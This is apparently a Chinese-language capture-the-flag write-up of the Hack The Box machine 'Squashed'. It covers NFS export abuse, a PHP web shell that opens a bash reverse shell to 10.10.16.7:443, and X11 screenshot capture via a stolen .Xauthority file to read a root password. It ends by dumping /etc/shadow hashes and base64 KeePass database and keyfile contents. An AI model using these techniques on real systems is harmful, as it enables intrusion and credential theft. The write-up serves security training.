Zumpyx's Blog

Squashed

Machines#514EasyLinuxNFSshowmountX11WebShellKeePass
← Machines

Recon & Enum

Port Scan

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp    open  http     Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Built Better
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      39475/udp   mountd
|   100005  1,2,3      43255/tcp   mountd
|   100005  1,2,3      49283/udp6  mountd
|   100005  1,2,3      54819/tcp6  mountd
|   100021  1,3,4      36495/tcp6  nlockmgr
|   100021  1,3,4      44173/tcp   nlockmgr
|   100021  1,3,4      52963/udp6  nlockmgr
|   100021  1,3,4      54470/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs      3-4 (RPC #100003)
36183/tcp open  mountd   1-3 (RPC #100005)
43255/tcp open  mountd   1-3 (RPC #100005)
44173/tcp open  nlockmgr 1-4 (RPC #100021)
55899/tcp open  mountd   1-3 (RPC #100005)

NFS Scan

$ showmount -e squashed.htb
Export list for squashed.htb:
/home/ross    *
/var/www/html *
  • sudo mount -t nfs squashed.htb:/home/ross /mnt/ross -o nolock
$ tree /mnt/ross -a
/mnt/ross
├── .Xauthority
├── .bash_history -> /dev/null
├── .cache  [error opening dir]
├── .config  [error opening dir]
├── .gnupg  [error opening dir]
├── .local  [error opening dir]
├── .viminfo -> /dev/null
├── .xsession-errors
├── .xsession-errors.old
├── Desktop
├── Documents
│   └── Passwords.kdbx
├── Downloads
├── Music
├── Pictures
├── Public
├── Templates
└── Videos
  • sudo mount -t nfs squashed.htb:/var/www/html /mnt/html -o nolock
sudo -u www-data bash -p
$ tree /mnt/html -a
/mnt/html/
├── .htaccess
├── css
│   ├── .DS_Store
│   ├── animate.min.css
│   ├── bootstrap-grid.css
│   ├── bootstrap-grid.css.map
│   ├── bootstrap-grid.min.css
│   ├── bootstrap-grid.min.css.map
│   ├── bootstrap-reboot.css
│   ├── bootstrap-reboot.css.map
│   ├── bootstrap-reboot.min.css
│   ├── bootstrap-reboot.min.css.map
│   ├── bootstrap.css
│   ├── bootstrap.css.map
│   ├── bootstrap.min.css
│   ├── bootstrap.min.css.map
│   ├── default-skin.css
│   ├── font-awesome.min.css
│   ├── icomoon.css
│   ├── jquery-ui.css
│   ├── jquery.fancybox.min.css
│   ├── jquery.mCustomScrollbar.min.css
│   ├── meanmenu.css
│   ├── nice-select.css
│   ├── normalize.css
│   ├── owl.carousel.min.css
│   ├── responsive.css
│   ├── slick.css
│   └── style.css
├── images
│   ├── banner-bg.png
│   ├── bg-1.png
│   ├── contact-bg.png
│   ├── fb-icon.png
│   ├── footer-logo.png
│   ├── header-bg.png
│   ├── icon-1.png
│   ├── icon-2.png
│   ├── icon-3.png
│   ├── icon-4.png
│   ├── img-1.png
│   ├── img-2.png
│   ├── img-3.png
│   ├── img-4.png
│   ├── img-5.png
│   ├── img-6.png
│   ├── img-7.png
│   ├── img-8.png
│   ├── img-9.png
│   ├── instagram-icon.png
│   ├── left-arrow.png
│   ├── linkedin-icon.png
│   ├── logo.png
│   ├── quote-icon.png
│   ├── right-arrow.png
│   ├── search-icon.png
│   └── twitter-icon.png
├── index.html
└── js
    ├── bootstrap.bundle.min.js
    ├── custom.js
    ├── jquery-3.0.0.min.js
    ├── jquery.mCustomScrollbar.concat.min.js
    ├── jquery.min.js
    ├── plugin.js
    └── popper.min.js

4 directories, 63 files

Shell as Alex

先看一下 NFS 目录权限

image-20241201154202738.png

尝试写 ssh 密钥

sudo useradd -u 1001 ross
sudo su ross
mkdir /mnt/ross/.ssh

image-20241201154302654.png

文件系统无法写入，尝试解密 keepass 数据库

image-20241201155246782.png

估计是加了密钥文件，那么再看一下 Web 目录

反弹 Shell

sudo useradd -u 2017 www -s /bin/bash
sudo su www

image-20241201154458287.png

可以看到这里是可以解析 .html 文件中的 php 语句的，不过这里可以写入，直接写入 php 文件

echo "<?php system(\"/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.7/443 0>&1'\");?>" > rev.php

image-20241201155121145.png

Local Enum

image-20241201155332545.png

image-20241201160541953.png

在进程中看到了 ross 的密钥文件，但是没有权限访问

image-20241201160501546.png

注意到 ross 已经登陆了桌面环境，而这个 Gnome 桌面环境还是 X11 驱动的

Shell as Root

在前面的 NFS 枚举中发现了 Ross 目录下的 .Xauthority 文件，此文件用于存储桌面环境认证后的凭据，类似 Cookie，隐藏可以使用这个来访问 Ross 的桌面视图

https://book.hacktricks.xyz/network-services-pentesting/6000-pentesting-x11#screenshots-capturing

image-20241201161207324.png

上传到 alex 用户目录中，查看桌面窗口信息

image-20241201161806306.png

可以看到打开了一个 KeePassXC 应用，那么尝试捕获桌面截图

xwd -root -screen -silent -display :0 > screenshot.xwd
# 传输到 Kali 中
convert screenshot.xwd screenshot.png

image-20241201162036609.png

root:cah$mei7rai9A ssh 无法登录，可以使用 su 切换到 Root 用户

image-20241201162321803.png

More

Dump Hash

root:$6$1TX.sWDSDhS8.Q06$Z5Pa/jIUf69vcVPia3OK0BiOVuHhTRM2VH0Aye/QU9jizZkgiwWnhzAyL/jgxCSFL3aWZ0S92QWb.16UYGvLj.:19284:0:99999:7:::
daemon:*:18375:0:99999:7:::
bin:*:18375:0:99999:7:::
sys:*:18375:0:99999:7:::
sync:*:18375:0:99999:7:::
games:*:18375:0:99999:7:::
man:*:18375:0:99999:7:::
lp:*:18375:0:99999:7:::
mail:*:18375:0:99999:7:::
news:*:18375:0:99999:7:::
uucp:*:18375:0:99999:7:::
proxy:*:18375:0:99999:7:::
www-data:*:18375:0:99999:7:::
backup:*:18375:0:99999:7:::
list:*:18375:0:99999:7:::
irc:*:18375:0:99999:7:::
gnats:*:18375:0:99999:7:::
nobody:*:18375:0:99999:7:::
systemd-network:*:18375:0:99999:7:::
systemd-resolve:*:18375:0:99999:7:::
systemd-timesync:*:18375:0:99999:7:::
messagebus:*:18375:0:99999:7:::
syslog:*:18375:0:99999:7:::
_apt:*:18375:0:99999:7:::
tss:*:18375:0:99999:7:::
uuidd:*:18375:0:99999:7:::
tcpdump:*:18375:0:99999:7:::
landscape:*:18375:0:99999:7:::
pollinate:*:18375:0:99999:7:::
sshd:*:18389:0:99999:7:::
systemd-coredump:!!:18389::::::
lxd:!:18389::::::
usbmux:*:18822:0:99999:7:::
_rpc:*:19277:0:99999:7:::
statd:*:19277:0:99999:7:::
alex:$6$lnjkgkrbqrnJkl40$CUZlvOJGixuwVM7mZC6QqueNpidlNf9XVmxFKFT28chY5xIVcb.6TIAeuwpFHRMhE02xJp2ILCM3jqB9o/TQ2.:19286:0:99999:7:::
ross:$6$8ELNcXFldRYlf.Aq$omDa1Wmazh5H0dhFunS4qNos/dc6Aig8B8yx3eP.FFehoeK34fmMvmfdoZYWIUfJefXmuD9/4BfozeS3Xn1jx/:19286:0:99999:7:::
dnsmasq:*:19284:0:99999:7:::
rtkit:*:19284:0:99999:7:::
avahi:*:19284:0:99999:7:::
cups-pk-helper:*:19284:0:99999:7:::
pulse:*:19284:0:99999:7:::
geoclue:*:19284:0:99999:7:::
saned:*:19284:0:99999:7:::
colord:*:19284:0:99999:7:::
lightdm:*:19284:0:99999:7:::
fwupd-refresh:*:19296:0:99999:7:::

计划任务

image-20241201162843458.png

这里有一个定时清理 webshell 的计划任务

Ross KeePass Files

  • Passwords.kdbx
$ base64 Passwords.kdbx
A9mimmf7S7UAAAQAAhAAAAAxwfLmv3FDUL5YBSFq/Fr/AwQAAAABAAAABCAAAABFUL+D71DBDzfc
CZLRjkmn+Xx+2krCFdGUHlrcB2APDAcQAAAAWTmgnry0TEJ/j8bjaXFLCAuLAAAAAAFCBQAAACRV
VUlEEAAAAO9jbd+MKURLkfeppAPjCgwFAQAAAEkIAAAABAAAAAAAAAAFAQAAAE0IAAAAAAAACAAA
AAAEAQAAAFAEAAAAAgAAAEIBAAAAUyAAAADW8UGi7s8DBSqSCtQXXzSLpMezp4LX2BPeZvvOEBbp
PwQBAAAAVgQAAAATAAAAAAAEAAAADQoNCvMrRaCqLw/bVCnT3VPPxbjHlhcThz7pxstSoD3rF+93
CMzSUeCLeWZtuJ1qLOZu5yhLJDDU5AOHIca9fIx8YivsL/k2p+oBbFxOxk0143UikeoC1LbHKr0X
BhLm2Olke9ADAABLtD0lsftXRLQT3M3L+FVMRGsv0NFsd3V5Ut3ykU1I4vCavHSqXxbCN1Ju+pm9
qG7nUBX3ZguP+dIGNbCSZoRlsbvCxF1gRSRzgvDH/Ld0LMKI3tLGgB7RIuqAEHJNWNk57o60Bsyr
H3hlkJFRvsgvJayT3q5dYaLdKF1WcN9vAe610AfCurwdJzQ3fzl0OMe+DLG29HIlhbN/MUyEs1iP
XOQqHYRYzYskLBU9XxJRbBW3ZqXczIoUwmllkTNrAJAnoN30LHpo2uQA6JeaG1FbXN3cwzxp7KBg
NEL6BzJmr8oHuI6SMvERA8v9L8mJqon9qz3B8C6fflt1NRUZUbakJhX/RhiJIa+Gl9sj7NMM7fX+
kxztKA4LNtysAxgRd5Oq+G5QRUI/5g344EqnO5HOVpGs6GbHkJhEWLzksPMDKt6Hzldfg1RkyjJY
Ga72aUX1M4QPqGnLioBox2HwzGwvkqyvTC7u0kdiJFkUK0wzThAEIiDKKRc7yV24JWK3uxn1hhAH
iadoKzD6xz80ttdNzYbNrjisBtn07iI/V07M9sxgM53w9BDh3tYVqa7ltenI5nBaCFXexShbJyuU
08zbSEbeEbLJ+zW6A4bD3759VYI1eyhExQzsNspc8xq7Lf3bz1awWY/YHCIDEARhc7QUZnF0xAuH
8Cea6we+WCh9/PawiQyzN/nj1c/GEMY546gectX7iwBCO9O4H2p9eawwcuo/yNrYx/UhLUy+c+gk
BJi8oNzvj14NUxCz49YXzWJ4eCL/XXC0It9ZRCa1oEKTGMZ4maT2I1aoMzWYh8sUvTmKE+az1xGg
l9QFIUJbSzdXUth02RmzxswpLtxyynkpF9ybhFfjH5Z0ZUMstmX4RU1+RnvSrYMqMQ10SyUsCmMS
ZlJAGIbyJZagZFGh5e39gq1BC023VXU4AgCgqvwEMq9A3WlSptLdU9yrd9mGB+5oCMryuEduEThV
IlRJyppmJP4+KhTwH6G11OS6pA1AWxWB6OzYX2LjONvIlSuuqYrB2pH78H83VPtlE6Fj+B7hWaja
k+3c2MVcfLGYR0olbWho5h0WvI5fhbbgJgsEW8xco4kr4StbWOrBgioIoGhSglGYNw/tzAYof8Ar
DJsN6nYbJMRkH4r/HDhQMhxhwnlXypOmPxLlTsB5kMEVWX9DW2nUbljOj20h+eg1a/anINOdy6nF
PIrSBaG6c9lyp83omnnKJp7Sv6nu5XJOM/IiIkof2SR5tlOz2d+MjgWk6hePG63edukY+ayEkK20
4U4EpgCrgaMdt7RzO14pnRJ6S/7ZzaFhH8wnWOyGXZMZm4ZT77W+L/p65GgnfrslZ4gAAAAA
  • keyfile
$ base64 /usr/share/keepassxc/keyfiles/ross/keyfile.key
xfhuUOVmf72FcwB4DTPziRBaUq0uBSscBJj281c+dK0qH3IIpqybNItGkYuByGNGQJpGNpF+Yz5s
k/E3JK5FMPcGsax2Ja3EfgX6ZDMwTuR3JibItnIUz4InJp2fk/eoSPUhK5RgZ6GnCr2I+Kq9vB5H
pjnrxrRbDlI/NCBin5Y=